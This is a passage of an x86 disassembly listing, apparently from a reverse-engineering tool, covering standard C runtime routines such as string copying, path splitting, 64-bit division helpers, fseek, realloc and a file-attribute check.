mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_413640: ; CODE XREF: sub_413580+73j
; sub_413580+A6j
cmp [ebp+arg_0], 0
jnz loc_4135C0
mov eax, [ebp+arg_8]
loc_41364D: ; CODE XREF: sub_413580+1Fj
; sub_413580+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413652: ; CODE XREF: sub_413580+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41365C
; ---------------------------------------------------------------------------
loc_413658: ; CODE XREF: sub_413580+9Fj
or dword ptr [esi+0Ch], 20h
loc_41365C: ; CODE XREF: sub_413580+B2j
; sub_413580+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41364D
sub_413580 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413668 proc near ; CODE XREF: sub_404175+2B2p
; .nsp0:00404853p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_413681: ; CODE XREF: sub_413668+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_413681
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_4136A9
mov edx, dword_462BC0
loc_4136A9: ; CODE XREF: sub_413668+39j
; sub_413668+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_4136C9
test al, al
jz short loc_4136C9
inc edx
jmp short loc_4136A9
; ---------------------------------------------------------------------------
loc_4136C9: ; CODE XREF: sub_413668+58j
; sub_413668+5Cj
mov ebx, edx
loc_4136CB: ; CODE XREF: sub_413668+81j
mov al, [edx]
test al, al
jz short loc_4136EF
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_4136EB
inc edx
jmp short loc_4136CB
; ---------------------------------------------------------------------------
loc_4136EB: ; CODE XREF: sub_413668+7Ej
and byte ptr [edx], 0
inc edx
loc_4136EF: ; CODE XREF: sub_413668+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_462BC0, edx
and eax, ebx
pop ebx
leave
retn
sub_413668 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413710 proc near ; CODE XREF: sub_404A02+1B4p
; .nsp0:00405936p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_413793
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_413734
shr ecx, 2
jnz short loc_4137A1
jmp short loc_413755
; ---------------------------------------------------------------------------
loc_413734: ; CODE XREF: sub_413710+1Bj
; sub_413710+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_413762
test al, al
jz short loc_41376A
test esi, 3
jnz short loc_413734
mov ebx, ecx
shr ecx, 2
jnz short loc_4137A1
loc_413750: ; CODE XREF: sub_413710+8Fj
and ebx, 3
jz short loc_413762
loc_413755: ; CODE XREF: sub_413710+22j
; sub_413710+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41378E
dec ebx
jnz short loc_413755
loc_413762: ; CODE XREF: sub_413710+2Bj
; sub_413710+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41376A: ; CODE XREF: sub_413710+2Fj
test edi, 3
jz short loc_413784
loc_413772: ; CODE XREF: sub_413710+72j
mov [edi], al
inc edi
dec ecx
jz loc_413806
test edi, 3
jnz short loc_413772
loc_413784: ; CODE XREF: sub_413710+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_4137F7
loc_41378B: ; CODE XREF: sub_413710+7Fj
; sub_413710+F4j
mov [edi], al
inc edi
loc_41378E: ; CODE XREF: sub_413710+4Dj
dec ebx
jnz short loc_41378B
pop ebx
pop esi
loc_413793: ; CODE XREF: sub_413710+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_413799: ; CODE XREF: sub_413710+A9j
; sub_413710+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_413750
loc_4137A1: ; CODE XREF: sub_413710+20j
; sub_413710+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_413799
test dl, dl
jz short loc_4137EB
test dh, dh
jz short loc_4137E1
test edx, 0FF0000h
jz short loc_4137D7
test edx, 0FF000000h
jnz short loc_413799
mov [edi], edx
jmp short loc_4137EF
; ---------------------------------------------------------------------------
loc_4137D7: ; CODE XREF: sub_413710+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_4137EF
; ---------------------------------------------------------------------------
loc_4137E1: ; CODE XREF: sub_413710+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_4137EF
; ---------------------------------------------------------------------------
loc_4137EB: ; CODE XREF: sub_413710+ADj
xor edx, edx
mov [edi], edx
loc_4137EF: ; CODE XREF: sub_413710+C5j
; sub_413710+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_413801
loc_4137F7: ; CODE XREF: sub_413710+79j
xor eax, eax
loc_4137F9: ; CODE XREF: sub_413710+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_4137F9
loc_413801: ; CODE XREF: sub_413710+E5j
and ebx, 3
jnz short loc_41378B
loc_413806: ; CODE XREF: sub_413710+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_413710 endp
; =============== S U B R O U T I N E =======================================
sub_41380E proc near ; CODE XREF: sub_405290+2E2p
; sub_405290+435p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41388A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41382D
cmp edi, 1
jz short loc_41382D
cmp edi, 2
jnz short loc_41388A
loc_41382D: ; CODE XREF: sub_41380E+13j
; sub_41380E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_413844
push esi
call sub_4184E9
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_413844: ; CODE XREF: sub_41380E+27j
push esi
call sub_414FB4
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_413859
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41386D
; ---------------------------------------------------------------------------
loc_413859: ; CODE XREF: sub_41380E+42j
test al, 1
jz short loc_41386D
test al, 8
jz short loc_41386D
test ah, 4
jnz short loc_41386D
mov dword ptr [esi+18h], 200h
loc_41386D: ; CODE XREF: sub_41380E+49j
; sub_41380E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41844F
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_413897
; ---------------------------------------------------------------------------
loc_41388A: ; CODE XREF: sub_41380E+Bj
; sub_41380E+1Dj
mov dword_462BC4, 16h
or eax, 0FFFFFFFFh
loc_413897: ; CODE XREF: sub_41380E+7Aj
pop edi
pop esi
retn
sub_41380E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4138A0 proc near ; CODE XREF: sub_405290+2ACp
; sub_405290+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_4138D1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_4138CF
jz short loc_4138D1
dec ecx
dec ecx
loc_4138CF: ; CODE XREF: sub_4138A0+29j
not ecx
loc_4138D1: ; CODE XREF: sub_4138A0+9j
; sub_4138A0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_4138A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4138E0 proc near ; CODE XREF: sub_405787+5Cp
; sub_405787+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_413994
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41390A
loc_4138FB: ; CODE XREF: sub_4138E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41393B
test edi, 3
jnz short loc_4138FB
loc_41390A: ; CODE XREF: sub_4138E0+19j
; sub_4138E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41390A
mov eax, [edi-4]
test al, al
jz short loc_413948
test ah, ah
jz short loc_413943
test eax, 0FF0000h
jz short loc_41393E
test eax, 0FF000000h
jnz short loc_41390A
loc_41393B: ; CODE XREF: sub_4138E0+20j
dec edi
jmp short loc_41394B
; ---------------------------------------------------------------------------
loc_41393E: ; CODE XREF: sub_4138E0+52j
sub edi, 2
jmp short loc_41394B
; ---------------------------------------------------------------------------
loc_413943: ; CODE XREF: sub_4138E0+4Bj
sub edi, 3
jmp short loc_41394B
; ---------------------------------------------------------------------------
loc_413948: ; CODE XREF: sub_4138E0+47j
sub edi, 4
loc_41394B: ; CODE XREF: sub_4138E0+5Cj
; sub_4138E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_413960
mov ebx, ecx
shr ecx, 2
jnz short loc_4139AC
jmp short loc_41397C
; ---------------------------------------------------------------------------
loc_413960: ; CODE XREF: sub_4138E0+75j
; sub_4138E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41399A
mov [edi], dl
inc edi
dec ecx
jz short loc_413990
test esi, 3
jnz short loc_413960
mov ebx, ecx
shr ecx, 2
jnz short loc_4139AC
loc_41397C: ; CODE XREF: sub_4138E0+7Ej
; sub_4138E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_413990
loc_413983: ; CODE XREF: sub_4138E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_413992
dec ecx
jnz short loc_413983
loc_413990: ; CODE XREF: sub_4138E0+8Bj
; sub_4138E0+A1j
mov [edi], cl
loc_413992: ; CODE XREF: sub_4138E0+ABj
pop ebx
pop esi
loc_413994: ; CODE XREF: sub_4138E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41399A: ; CODE XREF: sub_4138E0+85j
; sub_4138E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4139A4: ; CODE XREF: sub_4138E0+E4j
; sub_4138E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41397C
loc_4139AC: ; CODE XREF: sub_4138E0+7Cj
; sub_4138E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_4139A4
test dl, dl
jz short loc_41399A
test dh, dh
jz short loc_4139F8
test edx, 0FF0000h
jz short loc_4139E8
test edx, 0FF000000h
jnz short loc_4139A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4139E8: ; CODE XREF: sub_4138E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4139F8: ; CODE XREF: sub_4138E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_4138E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A10 proc near ; CODE XREF: .nsp0:00405B6Ap
; .nsp0:0040CFCFp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_413A31
xor eax, eax
jmp short loc_413A33
; ---------------------------------------------------------------------------
loc_413A31: ; CODE XREF: sub_413A10+1Bj
mov eax, edi
loc_413A33: ; CODE XREF: sub_413A10+1Fj
cld
pop edi
leave
retn
sub_413A10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A37 proc near ; CODE XREF: sub_4079F8+6p
; sub_407A16+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_462C58, 0
push ebx
push esi
push edi
jnz short loc_413A64
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_413AFD
cmp eax, 5Ah
jg loc_413AFD
add eax, 20h
jmp loc_413AFD
; ---------------------------------------------------------------------------
loc_413A64: ; CODE XREF: sub_413A37+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_413A98
cmp dword_4316BC, esi
jle short loc_413A86
push esi
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_413A90
; ---------------------------------------------------------------------------
loc_413A86: ; CODE XREF: sub_413A37+42j
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, esi
loc_413A90: ; CODE XREF: sub_413A37+4Dj
test eax, eax
jnz short loc_413A98
loc_413A94: ; CODE XREF: sub_413A37+ADj
mov eax, ebx
jmp short loc_413AFD
; ---------------------------------------------------------------------------
loc_413A98: ; CODE XREF: sub_413A37+3Aj
; sub_413A37+5Bj
mov edx, off_4314B0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_413ABC
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_413AC5
; ---------------------------------------------------------------------------
loc_413ABC: ; CODE XREF: sub_413A37+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_413AC5: ; CODE XREF: sub_413A37+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_462C58
call loc_418641
add esp, 20h
test eax, eax
jz short loc_413A94
cmp eax, esi
jnz short loc_413AF0
movzx eax, [ebp+var_4]
jmp short loc_413AFD
; ---------------------------------------------------------------------------
loc_413AF0: ; CODE XREF: sub_413A37+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_413AFD: ; CODE XREF: sub_413A37+16j
; sub_413A37+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_413A37 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413B10 proc near ; CODE XREF: sub_409684+2Dp
; sub_41461C+5B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_413B31
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_413B81
; ---------------------------------------------------------------------------
loc_413B31: ; CODE XREF: sub_413B10+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_413B3F: ; CODE XREF: sub_413B10+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_413B3F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_413B6A
cmp edx, [esp+4+arg_4]
ja short loc_413B6A
jb short loc_413B72
cmp eax, [esp+4+arg_0]
jbe short loc_413B72
loc_413B6A: ; CODE XREF: sub_413B10+4Aj
; sub_413B10+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_413B72: ; CODE XREF: sub_413B10+52j
; sub_413B10+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_413B81: ; CODE XREF: sub_413B10+1Fj
pop ebx
retn 10h
sub_413B10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413B90 proc near ; CODE XREF: sub_409684+3Fp
; sub_41461C+5C4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_413BB2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_413BF3
; ---------------------------------------------------------------------------
loc_413BB2: ; CODE XREF: sub_413B90+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_413BC0: ; CODE XREF: sub_413B90+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_413BC0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_413BEE
cmp edx, [esp+8+arg_4]
ja short loc_413BEE
jb short loc_413BEF
cmp eax, [esp+8+arg_0]
jbe short loc_413BEF
loc_413BEE: ; CODE XREF: sub_413B90+4Ej
; sub_413B90+54j
dec esi
loc_413BEF: ; CODE XREF: sub_413B90+56j
; sub_413B90+5Cj
xor edx, edx
mov eax, esi
loc_413BF3: ; CODE XREF: sub_413B90+20j
pop esi
pop ebx
retn 10h
sub_413B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BF8 proc near ; CODE XREF: .nsp0:00409BF5p
; .nsp0:0040ED69p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_4126F0
cmp eax, 1
pop ecx
jb short loc_413C33
cmp byte ptr [ebx+1], 3Ah
jnz short loc_413C33
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_413C2F
push 2
push ebx
push esi
call sub_418C70
add esp, 0Ch
and byte ptr [esi+2], 0
loc_413C2F: ; CODE XREF: sub_413BF8+25j
inc ebx
inc ebx
jmp short loc_413C3D
; ---------------------------------------------------------------------------
loc_413C33: ; CODE XREF: sub_413BF8+18j
; sub_413BF8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_413C3D
and byte ptr [eax], 0
loc_413C3D: ; CODE XREF: sub_413BF8+39j
; sub_413BF8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_413CB5
loc_413C50: ; CODE XREF: sub_413BF8+87j
mov cl, [eax]
movzx edx, cl
test byte_464101[edx], 4
jz short loc_413C61
inc eax
jmp short loc_413C7B
; ---------------------------------------------------------------------------
loc_413C61: ; CODE XREF: sub_413BF8+64j
cmp cl, 2Fh
jz short loc_413C75
cmp cl, 5Ch
jz short loc_413C75
cmp cl, 2Eh
jnz short loc_413C7B
mov [ebp+var_4], eax
jmp short loc_413C7B
; ---------------------------------------------------------------------------
loc_413C75: ; CODE XREF: sub_413BF8+6Cj
; sub_413BF8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_413C7B: ; CODE XREF: sub_413BF8+67j
; sub_413BF8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_413C50
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_413CB5
cmp [ebp+arg_8], 0
jz short loc_413CB0
sub edi, ebx
cmp edi, esi
jb short loc_413C99
mov edi, esi
loc_413C99: ; CODE XREF: sub_413BF8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_418C70
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_413CB0: ; CODE XREF: sub_413BF8+97j
mov ebx, [ebp+arg_4]
jmp short loc_413CBF
; ---------------------------------------------------------------------------
loc_413CB5: ; CODE XREF: sub_413BF8+56j
; sub_413BF8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_413CBF
and byte ptr [ecx], 0
loc_413CBF: ; CODE XREF: sub_413BF8+BBj
; sub_413BF8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_413D12
cmp edi, ebx
jb short loc_413D12
cmp [ebp+arg_C], 0
jz short loc_413CEF
sub edi, ebx
cmp edi, esi
jb short loc_413CD8
mov edi, esi
loc_413CD8: ; CODE XREF: sub_413BF8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_418C70
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_413CEF: ; CODE XREF: sub_413BF8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_413D3A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_413CFF
mov esi, eax
loc_413CFF: ; CODE XREF: sub_413BF8+103j
push esi
push [ebp+var_4]
push edi
call sub_418C70
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_413D3A
; ---------------------------------------------------------------------------
loc_413D12: ; CODE XREF: sub_413BF8+CCj
; sub_413BF8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_413D30
sub eax, ebx
cmp eax, esi
jnb short loc_413D21
mov esi, eax
loc_413D21: ; CODE XREF: sub_413BF8+125j
push esi
push ebx
push edi
call sub_418C70
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_413D30: ; CODE XREF: sub_413BF8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_413D3A
and byte ptr [eax], 0
loc_413D3A: ; CODE XREF: sub_413BF8+FCj
; sub_413BF8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_413BF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D3F proc near ; CODE XREF: sub_408E8B+19p
; sub_40F9AB+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41461C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_413D7D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_413D8A
; ---------------------------------------------------------------------------
loc_413D7D: ; CODE XREF: sub_413D3F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_414507
pop ecx
pop ecx
loc_413D8A: ; CODE XREF: sub_413D3F+3Cj
mov eax, esi
pop esi
leave
retn
sub_413D3F endp
; =============== S U B R O U T I N E =======================================
sub_413D8F proc near ; CODE XREF: sub_4090E9+2Ep
; sub_4131A3+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_413DAA
push [esp+10h+arg_4]
call sub_41279F
pop ecx
jmp loc_413EAA
; ---------------------------------------------------------------------------
loc_413DAA: ; CODE XREF: sub_413D8F+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_413DC0
push ebx
call sub_412813
pop ecx
loc_413DB9: ; CODE XREF: sub_413D8F+114j
xor eax, eax
jmp loc_413EAA
; ---------------------------------------------------------------------------
loc_413DC0: ; CODE XREF: sub_413D8F+21j
; sub_413D8F+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_413E8B
push ebx
call sub_4153CD
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_413E68
cmp esi, dword_4316CC
ja short loc_413E28
push esi
push ebx
push ebp
call sub_415BD8
add esp, 0Ch
test eax, eax
jz short loc_413DF7
mov edi, ebx
jmp short loc_413E20
; ---------------------------------------------------------------------------
loc_413DF7: ; CODE XREF: sub_413D8F+62j
push esi
call sub_415723
mov edi, eax
pop ecx
test edi, edi
jz short loc_413E28
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_413E0E
mov eax, esi
loc_413E0E: ; CODE XREF: sub_413D8F+7Bj
push eax
push ebx
push edi
call sub_411FD0
push ebx
push ebp
call sub_4153F8
add esp, 14h
loc_413E20: ; CODE XREF: sub_413D8F+66j
test edi, edi
jnz loc_413EA8
loc_413E28: ; CODE XREF: sub_413D8F+53j
; sub_413D8F+73j
test esi, esi
jnz short loc_413E2F
push 1
pop esi
loc_413E2F: ; CODE XREF: sub_413D8F+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_464220
call dword_41D144 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_413E8B
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_413E54
mov eax, esi
loc_413E54: ; CODE XREF: sub_413D8F+C1j
push eax
push ebx
push edi
call sub_411FD0
push ebx
push ebp
call sub_4153F8
add esp, 14h
jmp short loc_413E87
; ---------------------------------------------------------------------------
loc_413E68: ; CODE XREF: sub_413D8F+47j
test esi, esi
jnz short loc_413E6F
push 1
pop esi
loc_413E6F: ; CODE XREF: sub_413D8F+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push dword_464220
call dword_41D158 ; RtlReAllocateHeap
mov edi, eax
loc_413E87: ; CODE XREF: sub_413D8F+D7j
test edi, edi
jnz short loc_413EA8
loc_413E8B: ; CODE XREF: sub_413D8F+36j
; sub_413D8F+B9j
cmp dword_462C24, 0
jz short loc_413EA8
push esi
call sub_415338
test eax, eax
pop ecx
jnz loc_413DC0
jmp loc_413DB9
; ---------------------------------------------------------------------------
loc_413EA8: ; CODE XREF: sub_413D8F+93j
; sub_413D8F+FAj ...
mov eax, edi
loc_413EAA: ; CODE XREF: sub_413D8F+16j
; sub_413D8F+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_413D8F endp
; =============== S U B R O U T I N E =======================================
sub_413EAF proc near ; CODE XREF: sub_40966A+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_41D080 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_413ECF
call dword_41D06C ; RtlGetLastWin32Error
push eax
call sub_418CFA
pop ecx
loc_413ECB: ; CODE XREF: sub_413EAF+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_413ECF: ; CODE XREF: sub_413EAF+Dj
test al, 1
jz short loc_413EF0
test [esp+arg_4], 2
jz short loc_413EF0
mov dword_462BC4, 0Dh
mov dword_462BC8, 5
jmp short loc_413ECB
; ---------------------------------------------------------------------------
loc_413EF0: ; CODE XREF: sub_413EAF+22j
; sub_413EAF+29j
xor eax, eax
retn
sub_413EAF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413F00 proc near ; CODE XREF: sub_409794+5Fp
; sub_409794+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_413F21
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_413F21: ; CODE XREF: sub_413F00+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_413F3D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
